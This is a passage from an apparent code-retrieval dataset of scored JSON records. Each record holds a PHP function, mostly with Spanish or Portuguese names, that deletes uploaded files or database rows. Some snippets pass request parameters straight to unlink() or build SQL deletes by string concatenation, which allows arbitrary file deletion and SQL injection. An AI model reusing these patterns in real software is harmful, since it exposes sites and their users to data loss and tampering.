$objDocumentoArchivo->DUBICACIONFILESERVER);\n\t\t\t}\n\t\t\t$this->result['status'] = 200;\n\t\t\t$this->result['message'] = 'Archivo eliminado correctamnete.';\n\t\t} catch (Exception $ex) {\n\t\t\t$this->result['message'] = $ex->getMessage();\n\t\t}\n\t\tresponseResult($this->result);\n\t}", "title": "" }, { "docid": "429fbac741c027e75344e9f6fe8577c2", "score": "0.63418925", "text": "private static function borrar_foto($foto) {\n \n $foto_path = PATH_APPLICATION.\"recursos\".DS.\"imagenes\".DS.\"bienes\".DS.$foto;\n\n // Si existe el fichero lo borramos\n if (is_file($foto_path)) {\n return unlink($foto_path);\n }\n else {\n return null;\n }\n\n }", "title": "" }, { "docid": "9ff694b2fa1c8e3306d872c4278229d3", "score": "0.63372606", "text": "public function borrar(){\n //inicio sesion\n session_start();\n //no se permte el accseo desde la url sin estar registrado\n if(isset( $_SESSION['nombre']) && $_SESSION['password']){\n //recojo los datos del campo name de los input de la vista perfilusuario.php\n // verifico que si los campos tienen datos los guarde en las variables en caso de que reciba campos vacios estos campos cojeran el valor null\n \n $id = isset($_POST['id']) ? $_POST['id'] : null;\n $alias = isset($_POST['alias']) ? $_POST['alias'] : null;\n //verifica si la foto exite si exite borrar la imagen del directorio assets/fotosperfil\n $sustitutuirespaciosblancos = str_replace(\" \",\"_\",$alias);\n \n if (is_file(\"assets/fotosperfil/usuario-\".$sustitutuirespaciosblancos.\".png\" )){\n unlink(\"assets/fotosperfil/usuario-\".$sustitutuirespaciosblancos.\".png\");}\n //se carga el modelo \n $this->load->model('Usuarios_model');\n // se carga la funcion borrar linea 210 del modelo_usuraio.php \n $this->Usuarios_model->borrar($id);\n \n }else{ $this->load->view('errorurl');}}", "title": "" }, { "docid": "ebe23f0ed1dc3a439de51e1a5b458e89", "score": "0.6335918", "text": "function _rmFile( $fileName ) {\n\t\t\t@unlink( $fileName );\n\t\t}", "title": "" }, { "docid": "be166d036c41f1f271094bd91c633359", "score": "0.63213617", "text": "function remove(){\r\n print_r('Deleting file<br/>');\r\n}", "title": "" }, { "docid": "745f021dea2cf4665924bdef4034aa68", "score": "0.622597", "text": "public function borrarArchivo($id) {\n\n $res = array(\n 'status' => 4,\n 'msg' => 'Error al borrar'\n );\n try {\n $prot = Archivo::findOrFail($id);\n unlink(public_path($prot->link));\n $prot->delete();\n $res['status'] = 1;\n $res['msg'] = \"Borrado con exito\";\n } catch (ModelNotFoundException $ex) {\n $res['msg'] = 'hackear es malo :(';\n }\n return $res;\n }", "title": "" }, { "docid": "39b947d16c837d3c54b53cd284c6ed25", "score": "0.6221392", "text": "public function deleteFile($file = NULL){\n\t\tif(empty($file)){\n\t\t\tparent::output(\"deleteFile function failed - parameter 1 is NULL\");\n\t\t}else{\n\t\t\tif(file_exists($file)){\n\t\t\t\t$file_to_delete = unlink($file);\n\t\t\t\tif($file_to_delete == TRUE){\n\t\t\t\t\t$this->res = TRUE;\n\t\t\t\t}else{\n\t\t\t\t\t$this->res = FALSE;\n\t\t\t\t}\n\t\t\t}else{\n\t\t\t\tparent::output(\"Arquivo inválido\");\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "315ad1f913b646f19c31100ca3d34063", "score": "0.62145656", "text": "public function deleteFile($path) { }", "title": "" }, { "docid": "0c6a2a655778a6e41c10eff4d8d415b6", "score": "0.62011814", "text": "function eliminaArchivoPath($path);", "title": "" }, { "docid": "d47ce0fc37aca5a369b03bb06222852b", "score": "0.6201059", "text": "function apagaArquivosComunicado($id_comunicado){\r\n\t\t\t\t\r\n\t\t\tglobal $conf;\r\n\t\t\t\t\r\n\t\t\tforeach (glob($conf['path'] . \"/common/comunicados/{$id_comunicado}_*\") as $arquivo) {\r\n\n\t\t\t\tunlink($arquivo);\r\n\t\t\t}\r\n\t\t\t\t\r\n\t\t}", "title": "" }, { "docid": "fbd9061ef47464718b4406bd3cc232ba", "score": "0.61916924", "text": "function eliminarArchivo($id_archivo);", "title": "" }, { "docid": "8179dc9b6bd99410fef7c74e3b56208a", "score": "0.6191037", "text": "public function removeUpload()\n {\n $file = $this->getAbsolutePath();\n @unlink($file); \n \n }", "title": "" }, { "docid": "c7bfe783e5b33ca007bdb68f708eb093", "score": "0.6190878", "text": "function EliminarArchivo()\n\t{\n\t\t$nueva = explode('/',$_POST['Archivo']);\n\t\tif(isset($_POST['idDoc'])){\n\t\t\t$poliza = $this->ChequesModel->polizaDocumento($_REQUEST['idDoc']);\n\t\t\tif($poliza!=0){\n\t\t\t\n\t\t\t\t$uuid = explode('_', $nueva[6]);\n\t\t\t\t$uuid = str_replace('.xml', '', $uuid[2]);\n\t\t\t\tif(!$uuid){\n\t\t\t\t\t$uuid = str_replace('.xml', '', $rutaxml);\n\t\t\t\t}\n\t\t\t\tunlink($this->path('../cont/').\"xmls/facturas/\".$poliza['id'].\"/\".$nueva[6]);\n\t\t\t\tunlink($this->path('../cont/').\"xmls/facturas/documentosbancarios/\".$_REQUEST['idDoc'].\"/\".$nueva[6]);\n\t\t\t\t$elimina = $this->ChequesModel->deleteMovGrupo($poliza['id'], $nueva[6]);\n\t\t\t\t//if($elimina){\n\t\t\t\t\t$numReg = $this->ChequesModel->numMovGrupo($poliza['id']);\n\t\t\t\t\tif($numReg<=1){\n\t\t\t\t\t\t\n\t\t\t\t\t\t$fact = $this->ChequesModel->ultimoGrupo($poliza['id']);\n\t\t\t\t\t\t$mov = $this->ChequesModel->movimientosPoliza($_REQUEST['idDoc']);\n\t\t\t\t\t\twhile($row = $mov->fetch_array()){\n\t\t\t\t\t\t\tif($numReg==0){// si no hay ya ningun xml borra toda la informacion\n\t\t\t\t\t\t\t\t$this->ChequesModel->movUUID('', $row['Id'],'');\n\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\t$this->ChequesModel->movUUID($fact['UUID'], $row['Id'],$fact['Factura']);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$elimina = $this->ChequesModel->deleteMovGrupoTodo($poliza['id']);\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t}\n\t\t}else{\n\t\t\tunlink($this->path('../cont/').\"xmls/facturas/documentosbancarios/\".$_REQUEST['idDoctemp'].\"/\".$nueva[6]);\n\t\t}\n\t\t\n\t\t\t\n\t\tunlink($_POST['Archivo']);\n\t\t\n\t}", "title": "" }, { "docid": "c1ad33afa910d130c90b58233a6dcbb1", "score": "0.6178064", "text": "function borrar($modelo) {\n $raw = '';\n $httpContent = fopen('php://input', 'r');\n while ($kb = fread($httpContent, 1024)) {\n $raw .= $kb;\n }\n fclose($httpContent);\n $params = json_decode($raw);\n $this->$modelo->delete(array('id' => $params->id));\n $respuesta['msj'] = 'Eliminacion completa';\n $respuesta['success'] = true;\n print_r(json_encode($respuesta));\n exit;\n }", "title": "" }, { "docid": "2b47bf83bcae94177d11905af35dfcb9", "score": "0.6174894", "text": "public function afterDelete()\n {\n @unlink($this->getFullPath());\n parent::afterDelete();\n }", "title": "" }, { "docid": "3bcd92b51ec4127f1c01d9cac1df228b", "score": "0.6137691", "text": "public function deleteFile($filekey);", "title": "" }, { "docid": "de40d50bb8a6473c4b13d0ef7161e02d", "score": "0.6136214", "text": "function deleteFile( $database,$option,$fileName) {\n unlink (JB_ABSPATH.'/uploaded/files/'.$fileName);\n //step 2: remove the database link to the file\n $database->setQuery(\"DELETE FROM #__sb_attachments where filelocation='\".JB_ABSPATH.'/uploaded/files/'.$fileName.\"'\");\n $database->query();\n\n mosRedirect( \"index2.php?option=$option&task=browseFiles\", \"File deleted\" );\n\n}", "title": "" }, { "docid": "bcddb744a46b0b3f0e385a935359b65a", "score": "0.6123135", "text": "function borrar_atributo() {\n\tglobal $modulos, $db;\n\t\n\t// Lee el id del usuario a borrar y comprueba que sea correcto\n\t$id = Modulo::getParam ($_POST, 'id', -1);\n\t$tipo = Modulo::getParam($_POST, 'tipo', 0);\n\t\n\t// Primero se mira a ver si hay algún pedido en el que se utilice este atributo\n\t$cadena = procesaSql('SELECT * FROM #_lineapedido WHERE tipo = ?');\n\t$lineas = $modulos->db->query ($cadena, $id);\n\t\n\tif (PEAR::isError($lineas)) {\n\t} else { // Si el atributo se está usando, entonces solo se marca como borrado, sino se borra realmente\n\t\tif (is_numeric ($id) && $id > -1) {\n\t\t\tif ($lineas->numRows()) { \n\t\t\t\t$cadena = procesaSql('UPDATE #_caracteristicas SET borrado = 1 WHERE id = ?');\n\t\t\t} else { \n\t\t\t\t$cadena = procesaSql('DELETE FROM #_caracteristicas WHERE id = ?');\n\t\t\t}\n\t\t\t$resultado = $modulos->db->query ($cadena, $id);\n\t\t}\n\t}\n\t\n\tleer_lista_atributos($tipo);\n}", "title": "" }, { "docid": "b174ada4a7fad8650d36447f053e5b0a", "score": "0.61211544", "text": "function clear_uploaded_file($arquivoId) {\n $destination = \"repo/\";\n $arquivo = $this->get_arquivo($arquivoId);\n if (isset($arquivo['arquivo']) && !empty($arquivo['arquivo']) && file_exists($destination.$arquivo['arquivo'])) {\n\t unlink($destination.$arquivo['arquivo']);\n }\n if (isset($arquivo['thumbnail']) && !empty($arquivo['thumbnail']) && file_exists($destination.$arquivo['thumbnail'])) {\n\t unlink($destination.$arquivo['thumbnail']);\n }\n\n $query = \"update `el_arquivo` set `arquivo`=?, `thumbnail`=? where `arquivoId`=?\";\n $this->query($query, array('','',$arquivoId));\n }", "title": "" }, { "docid": "f30151f40362aeb6cb2155f7cc202672", "score": "0.61151826", "text": "public function delete()\n {\n $this->file->delete();\n\n $this->emitUp('fileDeleted');\n }", "title": "" }, { "docid": "50a4a33caec26eb9a1fbf915c83e7794", "score": "0.6105926", "text": "public function borrarUsuario($id)\n {\n }", "title": "" }, { "docid": "3be545e39d87f54f6e1e33e7641efaf0", "score": "0.610296", "text": "public function borrar(){\r\n $bodega=new Bodega($this->conexion);\r\n //Recuperamos de BBDD la bodega\r\n $bodega = $bodega->deleteById($_GET[\"id\"]);\r\n \r\n $this->run(\"index\");\r\n }", "title": "" }, { "docid": "59585ee8e03542494b415a827e59771a", "score": "0.6092304", "text": "static public function ctrBorrarUsuario(){\n\n\t\tif(isset($_GET[\"idUsuario\"])){\n\n\t\t\t$tabla =\"usuarios\";\n\t\t\t$datos = $_GET[\"idUsuario\"];\n\n\t\t\tif($_GET[\"fotoUsuario\"] != \"\"){\n\n\t\t\t\tunlink($_GET[\"fotoUsuario\"]);\n\t\t\t\trmdir('vistas/img/usuarios/'.$_GET[\"usuario\"]);\n\n\t\t\t}\n\n\t\t\t$respuesta = ModeloUsuarios::mdlBorrarUsuario($tabla, $datos);\n\n\t\t\tif($respuesta == \"ok\"){\n\n\t\t\t\techo'<script>\n\n\t\t\t\tswal({\n\t\t\t\t\t type: \"success\",\n\t\t\t\t\t title: \"El usuario ha sido borrado correctamente\",\n\t\t\t\t\t showConfirmButton: true,\n\t\t\t\t\t confirmButtonText: \"Cerrar\",\n\t\t\t\t\t closeOnConfirm: false\n\t\t\t\t\t }).then(function(result) {\n\t\t\t\t\t\t\t\tif (result.value) {\n\n\t\t\t\t\t\t\t\twindow.location = \"usuarios\";\n\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t})\n\n\t\t\t\t</script>';\n\n\t\t\t}\t\t\n\n\t\t}\n\n\t}", "title": "" }, { "docid": "ade0327cf97355e8a6b010d792fcdf57", "score": "0.6091", "text": "function deleteFile($fileName){\n $fileName = $_SERVER[\"DOCUMENT_ROOT\"] . \"/A6/data/\" . $fileName;\n\n if(file_exists($fileName)){\n unlink($fileName);\n }\n }", "title": "" }, { "docid": "ec759861dd3d396dcc09d5e1bfcf628b", "score": "0.60676265", "text": "public function unlink($path);", "title": "" }, { "docid": "690e599ecc452cb5d29eced025e43907", "score": "0.6050535", "text": "function delete($id)\n{\n\t$file = $this->db->select($this->TABLE, pri($id));\n\tif (!$file) throw new IOException(\"File not found.\");\n\t$path = $this->rootdir.$file['FILEPATH'];\n\tif (file_exists($path)) {\n\t\t$ok = @unlink($path);\n\t\tif (!$ok) throw new IOException(\"File '$path' cannot be deleted.\");\n\t}\n\t$this->db->delete($this->TABLE, pri($id));\n}", "title": "" }, { "docid": "548d90a98da064f63b9d8275d40a48c0", "score": "0.6039481", "text": "public function delete()\n {\n $this->getGrf()->delete($this->getFilename());\n }", "title": "" }, { "docid": "7a97f5b4caa1d8c6dfb1248f68866369", "score": "0.60385424", "text": "public static function borrar(int $id){\n $consulta=\"DELETE FROM fotos WHERE id=$id;\";\n return DB::delete($consulta);\n }", "title": "" }, { "docid": "36f308a18760a9ce145beab4acc00f88", "score": "0.6038222", "text": "public function deleteFile()\n {\n\t\treturn $this->api->deleteFile($this->getSensorId(), $this->getID());\n }", "title": "" }, { "docid": "2709c37fce16709ebca9c6a3a352db2f", "score": "0.6025336", "text": "public function afterDelete()\n {\n if ($this->shouldDeleteFile()) {\n unlink($this->getRealFilepath());\n }\n parent::afterDelete();\n }", "title": "" }, { "docid": "c0c7c56c7f2be641785aa44d3ab77a15", "score": "0.6014194", "text": "public function unlinkFile()\n {\n $storage = $this->getStorage();\n $files = array($this->getStoragePath('original'));\n if ($this->has_derivative_image) {\n $types = self::$_pathsByType;\n unset($types['original']);\n foreach ($types as $type => $path) {\n $files[] = $this->getStoragePath($type);\n }\n }\n foreach ($files as $file) {\n $storage->delete($file);\n }\n }", "title": "" }, { "docid": "b23ae1eaeefe0080ed3b0011ef3f611d", "score": "0.59905577", "text": "function hapusfile(){\n\t\t$previllage = 1;\n\t\tcheck_super_user($this->session->tipe_user,$previllage);\n\n\t \t$id = $this->uri->segment(3);\n\t\t//Action\t\t \n\t\t$itemfile = $this->materi_m->get($id)->row();\n \t\tif ($itemfile->file != null) {\n \t\t\t$target_file = 'assets/dist/files/materi/'.$itemfile->file;\n \t\t\tunlink($target_file);\n \t\t}\n \t\t$params['file'] = \"\";\n \t\t$this->db->where('id',$id);\n\t \t$this->db->update('tb_materi',$params);\n\t \tredirect('materi/edit/'.$id);\t \n\t}", "title": "" }, { "docid": "4e62b73f0af34a0aa2a848b9f004e2ac", "score": "0.59869176", "text": "function remove_imgem($id){\n\t\t\t\tglobal $tabela,$vkt_id;\n\t\t\t\t$info = mf(mq(\"SELECT * FROM escolar_upload WHERE id='$id' AND vkt_id='$vkt_id'\"));\n\t\t\t\t\t$extensao = $info->extensao;\n\t\t\t\t\tif($info->id>0){\n\t\t\t\t\t\tunlink(\"modulos/escolar/area_professor/aula/arquivo/upload/\".$id.\".$extensao\");\n\t\t\t\t\t\tmysql_query(\" DELETE FROM escolar_upload WHERE id = '$id' AND vkt_id = '$vkt_id' \");\n\t\t\t\t\t}\t\n\t\n\t\t\t}", "title": "" }, { "docid": "9ad798545002d13a9fa220322d6ff6f8", "score": "0.5966688", "text": "function borrarRuta($data)\n{\n\t\n\t$idRuta_borrar=$data['selector'];\n\t\n\t$conexion = new conexionBaseDatos();\n\t$consultas = new Consultas();\n\n\t$conexion ->conexion();\n\t$result = $consultas ->borrarRegistro($idRuta_borrar);\n\t\n\n\tif($result)\n\t{\n\t\techo \"Borrado\";\n\t}\n\t\n}", "title": "" }, { "docid": "fa65fe6cd9e0f6d8b84f12ae3c38021a", "score": "0.5966539", "text": "function deleteUploadedFile($file) {\n if (file_exists($file)) @unlink($file);\n}", "title": "" }, { "docid": "fad863eb3d316d067bf0a7354e67460c", "score": "0.59657514", "text": "public function BorrarUsuario() {\n $objetoAccesoDato = AccesoDatos::dameUnObjetoAcceso(); \n $consulta = $objetoAccesoDato->RetornarConsulta(\"\n DELETE \n FROM `usuarios`\n WHERE `idUsuario`=:idUsuario\");\t\n $consulta->bindValue(':idUsuario',$this->idUsuario, PDO::PARAM_INT);\n $consulta->execute();\n return $consulta->rowCount();\n }", "title": "" }, { "docid": "e24405b00733473aa9a4f27dec0f3322", "score": "0.59603363", "text": "function borrarFotoUsuario()\n\t{\n\t\tglobal $directorioRaiz;\n\n\t\tif (session_status() == PHP_SESSION_NONE) \n\t\t{\n\t\t\tsession_start();\n\t\t}\n\n\t\t$userName = $_SESSION[\"userName\"];\n\n\t\t$ruta = $directorioRaiz . \"img/usu/$userName\";\n\t\t$extensiones = array (1 => \".png\", \".jpg\", \".jpeg\", \".gif\", \".bmp\", \".svg\");\n\n\t\tfor ($i = 1; $i <= 6; $i++)\n\t\t{\n\t\t\tif (file_exists($ruta . $extensiones[$i]))\n\t\t\t{\n\t\t\t\tunlink($ruta . $extensiones[$i]);\n\t\t\t\t\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}", "title": "" }, { "docid": "9406bfc523e2820de4824de4ac9cd7f7", "score": "0.5956947", "text": "function borrar(){\n $mysqli=conexion();\n $stmt = $mysqli->prepare(\"DELETE FROM plantilla WHERE id=?\");\n $stmt->bind_param(\"i\", $_POST['id_borrar']);\n //ejecutamos\n if ($stmt && $stmt->execute()){\n // Cerramos la sentencia preparada.\n $stmt -> close();\n echo true;\n } else {\n echo false.$mysqli->error;\n }\n // Cerramos la conexión.\n $mysqli->close();\n }", "title": "" }, { "docid": "aaabf71a83b31a41c6774a059b8f7af1", "score": "0.5942094", "text": "function delete()\n\t{\n\t\tglobal $sql;\n\t\t$sql->Query(\"DELETE FROM $this->tablename WHERE id = '$this->id'\");\n\t\tif($this->path) {\n\t\t\t@unlink($this->path);\n\t\t}\n\t}", "title": "" }, { "docid": "0e85e1478e9cb63be80b963cb0d52c2f", "score": "0.59333843", "text": "public function borrar() {\n if ($this->id) {\n $consulta = \"DELETE FROM estado WHERE id = ?\";\n $eliminacion = SQLServer::instancia()->borrar($consulta, array($this->id));\n $this->mensaje = SQLServer::instancia()->getMensaje();\n return $eliminacion;\n }\n $this->mensaje = \"No se pudo hacer referencia al permiso\";\n return 0;\n }", "title": "" }, { "docid": "87b28ff5311ee75c8017d376d46f6edf", "score": "0.59212923", "text": "function deleteFile($file)\n{\n if (is_file($file)) {\n unlink($file);\n }\n}", "title": "" }, { "docid": "2fbdbbceaa0f5525eee536f6a2a55661", "score": "0.5920879", "text": "public function filedelete($id){\n\n $strCaminho = public_path() . '/sala/' . $id;\n\n if(file_exists($strCaminho)) {\n\n File::deleteDirectory($strCaminho);\n\n }\n\n }", "title": "" }, { "docid": "1c7aa2aebaac66cd31678efe983f29b8", "score": "0.59206396", "text": "public static function limpiar()\r\n {\r\n self::cerrar();//Cerrar por si está abierto.\r\n $res= @unlink( self::filename());//Eliminar el archivo.\r\n self::$fichero= null;//Limpiar el nombre para la proxima apertura.\r\n return $res;\r\n }", "title": "" }, { "docid": "8db1405342131a9651bf1059c33acaf1", "score": "0.59181", "text": "public function delete() {\n if(rename(\"/var/www/html/icms/\".$this->filePath, \"/var/www/html/icms/\".str_replace(\"uploads/\",\"uploads/__\",$this->filePath))) {\n $this->pdo->query(\"DELETE FROM icms_files WHERE fID = :fid\", [\":fid\" => $this->fID]);\n return true;\n } else return false;\n }", "title": "" }, { "docid": "e9d7a5f88e1444807df3a6fe1d615291", "score": "0.5910893", "text": "public function eliminarFoto($pathFoto)\n {\n // EXTRAEMOS DE LA RUTA DE LA FOTO LOS TRES PRIMERO CARACTERES (../)\n $pathFoto = substr($pathFoto, 3);\n\n try\n {\n // BORRAMOS LA FOTO\n unlink($pathFoto);\n }\n catch(Exception $e)\n {\n echo \"Hubo un error al borrar la foto\";\n }\n }", "title": "" }, { "docid": "75e02f3794bb42f4c5ddae958051a963", "score": "0.59100795", "text": "public function deleteDocumentImage($id)\n {\n $upload = Upload::find($id);\n // unlink($upload->file_path);\n File::delete($upload->file_path);\n $upload->delete();\n\n createLog('uploads',$id,'حذف فایل سند');\n\n Session::flash('success','فایل مؤفقانه حذف گردید!!!');\n return redirect()->back();\n\n }", "title": "" }, { "docid": "b9eb0c4e1be2f44f435a87d2c0d3ca8a", "score": "0.5899652", "text": "public function removeUpload()\n {\n $file = $this->getAbsolutePath();\n if ($file) {\n @unlink($file);\n }\n }", "title": "" }, { "docid": "b5453f15eaa34203fa62c5e09b48fb02", "score": "0.58902067", "text": "public static function fileDelete($file){\n $result = unlink($file);\n return $result;\n }", "title": "" }, { "docid": "5334c08b56cd2fc0f293c57fb802842a", "score": "0.58802736", "text": "function remove($file){\n \n if(file_exists($file) && is_writable($file)){\n unlink($file); // remove the file\n echo \"The file remove successful\";\n }elseif(!file_exists($file)){\n echo \"The File dos not exsist\";\n }else{ \n chmod($file,0755);\n remove($file);\n } \n }", "title": "" }, { "docid": "bbbb0fbb70a3efcd4f7aec82126766cf", "score": "0.5873725", "text": "public function borrar($marca){\r\n $this->db->where('nombre', $marca);\r\n $this->db->delete('marca_equipo'); \r\n if( $this->db->affected_rows() == 1 ){\r\n return true;\r\n } else{\r\n\r\n return false;\r\n \r\n \r\n }\r\n }", "title": "" }, { "docid": "5e66a1f733a78eed1701120df1659b63", "score": "0.586796", "text": "function delete_file(Request $request){\n //eliminamos el archivo de las tabla files\n $res = DB::table('files')->where('id', '=', $request->file_id)->delete();\n }", "title": "" }, { "docid": "d94149167e755f42b29957a11553336e", "score": "0.5854636", "text": "function enleverFichier() {\r\n\t \t \r\n\t mysql_query(\"DELETE FROM if_para_fichier WHERE numparafichier='$this->numparafichier'\");\r\n\t}", "title": "" }, { "docid": "d5f6e3fa04a134d3e7ea5478bedcdb1e", "score": "0.58510315", "text": "function delete_file($file_name = NULL)\n {\n $arrData['message'] = 'Ocurrió un error intentelo nuevamente.';\n \t$arrData['success'] = false;\n $file_name = $this->input->post('foto') ? $this->input->post('foto') : $_POST['file_name'];\n $this->db->delete($this->file_table, array($this->file_name_field => $file_name));\n if (file_exists($this->ruta_principal . $file_name))\n {\n if(unlink($this->ruta_principal . $file_name)){\n \t$arrData['message'] = 'Imagen eliminada correctamente';\n \t\t\t$arrData['success'] = true;\n }\n\n }\n if (file_exists($this->ruta_miniaturas . $file_name))\n {\n if(unlink($this->ruta_miniaturas . $file_name)){\n \t$arrData['message'] = 'Imagen eliminada correctamente';\n \t\t\t$arrData['success'] = true;\n }\n }\n\n\n //$json = array('success' => true);\n echo json_encode($arrData);\n\t\texit;\n\t}", "title": "" }, { "docid": "6a949bfdd7498d44f2211ffc0be8b36a", "score": "0.58504915", "text": "function supprimerPhoto() {\r\n\t\t$this->infosPhoto();\r\n\t\tif ($this->modif) $chem=\"../\";\r\n\t\tif (file_exists($chem.\"photos/\".$this->nomPhoto)) @unlink($chem.\"photos/\".$this->nomPhoto);\r\n\t\tmysql_query(\"DELETE FROM if_photo WHERE numphoto='$this->numphoto'\");\t\r\n\t}", "title": "" }, { "docid": "4c7aa08d7dd1266b72355256341cb352", "score": "0.58487797", "text": "public function removeUpload()\n\t{\n\t if ($file = $this->getAbsolutePath()) {\n\t unlink($file); \n\t }\n\t}", "title": "" }, { "docid": "6949a82f0567cf6bb87565843854e4fb", "score": "0.58472085", "text": "function delete($conn,$key) {\n\t\t\tglobal $conf;\n\t\t\t\n\t\t\t$conn->BeginTrans();\n\t\t\t\n\t\t\t$err = Query::qDelete($conn,static::table(),static::getCondition($key));\n\t\t\t\n\t\t\t// hapus file\n\t\t\tif(!$err) {\n\t\t\t\t$file = $conf['upload_dir'].self::uptype.'/'.$key;\n\t\t\t\tif(file_exists($file)){\n\t\t\t\t\t$ok = unlink($file);\n\t\t\t\t\tif(!$ok) $arr = array(true,'Penghapusan '.self::label.' gagal');\n\t\t\t\t}else{\n\t\t\t\t\t$ok=true;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t\t$ok = false;\n\t\t\t\n\t\t\tif(empty($arr))\n\t\t\t\t$arr = static::deleteStatus($conn);\n\t\t\t\n\t\t\t$conn->CommitTrans($ok);\n\t\t\t\n\t\t\treturn $arr;\n\t\t}", "title": "" }, { "docid": "f1d976346b295fd9a65bd447b3d75309", "score": "0.5835223", "text": "public function removeFile($path);", "title": "" }, { "docid": "fe9212c8488315145d78ae214e0a5c10", "score": "0.5833992", "text": "private function deleteFile($path)\n\t{\n\t\tif (!file_exists($path))\n\t\t\treturn;\n\t\t\t\n\t\t$r = @unlink( $path );\n\t\t\n\t\tif (!$r)\n\t\t\tthrow new \\Exception(\"Could not delete $file\");\n\t}", "title": "" }, { "docid": "5a0b3fadc4212e9bdec94d567d4efd10", "score": "0.58234805", "text": "private function delete(){\n unset($this->contents);\n }", "title": "" }, { "docid": "f3bda378d19f68005ec1dddce2fbe986", "score": "0.58148396", "text": "public function del_bup_import_excel()\n \t{\n \t\t$post=$this->input->post();\n \t\t$url_file=$post[\"url_file\"];\n \t\t$id=$post[\"id\"];\n \t\t$url_file=$this->input->post(\"url_file\");\n \t\t unlink(FCPATH . \"assets/excel/\" . $url_file);\n \t\t$this->Import_user_model->del_excel($id);\n \t\t$dat_retrun=\"berhasil\";\n \t\t\techo json_encode($dat_retrun);\n\n \t}", "title": "" }, { "docid": "9985a780e3ab9799a341607f73ea64c2", "score": "0.58018327", "text": "public function destroy($id) {\n\n\t\t$busqueda = File::where('id', '=', $id)->firstOrFail();\t// resultado de el primero/firstorfail resultado del registro con id =?\n\t\tStorage::delete($busqueda->file);\t\t\t\t\t\t//delete Methodo Statico de Storage que elimina un archivo con su nombre\n\n\t\t$file = File::find($id);\t\t\t\t\t\t\t\t//Objeto con el resultado de la busqueda(find) de un registro con un id en especifico.\n\t\t$file->delete();\t\t\t\t\t\t\t\t\t\t//borrar registro sobre el objeto previamente encontrado.\n\t\tFlash::error(\"El archivo ah sido borrada con exito\");\t//cargar un mensaje personalizado en la vista al redireccionar.\n\t\tself::RegisterLog('Deleted ' , $file->name ,$this->module ,Auth::user()->id);\t//disparar methodo con parametros para guardar log.\n\n\t\treturn redirect()->route('files.index');\t\t\t\t//redireccionar a la ruta especificada.\n\t}", "title": "" }, { "docid": "83da6d00e9ec003d7115d52e8eaed9e7", "score": "0.57998806", "text": "public function del($path);", "title": "" }, { "docid": "4629dc468bbc4ef066e4627b48bb53a9", "score": "0.5798324", "text": "public function delete($id){\n $document=Documentservice::find($id);\n $chemin= public_path('/uploads/docs/');\n $doc=$chemin.''.$document->nom_document;\n if (file_exists ( $doc)){\n unlink($doc);\n Documentservice::destroy($id);\n }\n Session::flash(\"success\",\"Document supprimer\");\n return back();\n }", "title": "" }, { "docid": "408b45ce7d081dbec6a044316774c691", "score": "0.5796553", "text": "function Borrar() {\r\n $this->ConectarBD();\r\n $sql = \"SELECT * FROM USUARIO WHERE username = '\" . $this->username . \"'\";\r\n $result = $this->mysqli->query($sql);\r\n\r\n if ($result->num_rows == 1) {\r\n $sql = \"DELETE FROM USUARIO WHERE username = '\" . $this->username . \"'\";\r\n $this->mysqli->query($sql);\r\n\t\t\t\r\n return \"El usuario ha sido borrado correctamente\";\r\n } else\r\n return \"El usuario no existe\";\r\n }", "title": "" }, { "docid": "f23fadefba880ba30751e39951b29836", "score": "0.5795389", "text": "function del($id)\n {\n // Thuc hien xoa\n $this->_model()->del($id);\n\n\n // Xoa file\n file_del_table($this->_get_mod(),$id);\n\n }", "title": "" }, { "docid": "9917f224fc2ac064865fecfb03ebd0a0", "score": "0.5795247", "text": "function remove_message_marck($handle, $id_mail)\n{\n\t// si este un un archivo tambien lo eliminamos primero recuperamos su direccion de url\n\t$result=$handle->query(\"SELECT id_mail,url_archive FROM mails WHERE id_mail='$id_mail'\");\n\t$delete=$result->fetch_assoc();\n\t$file=$delete[\"url_archive\"];\n\tif($file==\"no\"){\n\t// significa que no es un archivo\t\n\t// eliminamos el mensaje\n\t$handle->query(\"DELETE FROM mails WHERE id_mail='$id_mail'\");\n\t$result->free();\n\t// enviamos un mensaje de confirmacion\n\tok_remove_message();\n\t}\n\telse{\n\t// significa que es un archivo lo eliminamos\t\n $dir=$file; // puedes usar dobles comillas si quieres \n\t// eliminamos de la base de datos\n\t$handle->query(\"DELETE FROM mails WHERE id_mail='$id_mail'\");\n if(file_exists($dir)) \n { \n if(unlink($dir)) \n\t// enviamos un mensaje de confirmacion\n\tok_remove_message();\n } \n else \n no_precess_remove_file();\n\t}\n}", "title": "" }, { "docid": "5ee3020747c007b3e34c54a7601eac6a", "score": "0.57917035", "text": "public function removeUpload()\n {\n if ($file = $this->getAbsolutePath()) {\n\n unlink($file);\n }\n }", "title": "" }, { "docid": "95860fc4963eb5105cc177164767d086", "score": "0.5787924", "text": "public function actionStaffenqremove() {\n\n $id = $_POST['id'];\n $name = $_POST['name'];\n\n $root_path = Yii::$app->basePath . '/../uploads/staff';\n $path = $root_path . '/' . $id . '/' . $name;\n\n\n if (file_exists($path)) {\n\n if (unlink($path)) {\n\n }\n }\n }", "title": "" }, { "docid": "8c7012c7e1b75b3bd3fdaaa452dfd7f3", "score": "0.57867604", "text": "public function deleteFile(t3lib_file_File $file) {\n\t\t// TODO: Implement deleteFile() method.\n\t}", "title": "" }, { "docid": "30b4f0c679f7ae3058ef906f03a603b5", "score": "0.57867086", "text": "public function borrarUsuario($id){\n if($this->error==false)\n {\n $insert_sql=\"DELETE FROM usuario WHERE id=\".$id;\n if (!$this->conexion->query($insert_sql)) {\n echo \"Falló el borrado del usuario: (\" . $this->conexion->errno . \") \" . $this->conexion->error;\n return false;\n }\n return true;\n }else{\n return false;\n }\n }", "title": "" }, { "docid": "c603e0ea04551111c5de9c6585b2815e", "score": "0.57847995", "text": "public function delete()\n {\n $this->repository->git('rm %s', escapeshellarg($this->getRelativePathname())\n );\n }", "title": "" }, { "docid": "a976833f2e527325d7f225ff26695e34", "score": "0.57767904", "text": "private function deleteFile(){\n $userid=Auth::user()->id;\n $restaurant=Restaurant::where('user_id','=',$userid)->first();\n $filename=$restaurant->logo;\n $file= storage_path('app/public/avatar/'. $filename);\n File::delete($file);\n }", "title": "" }, { "docid": 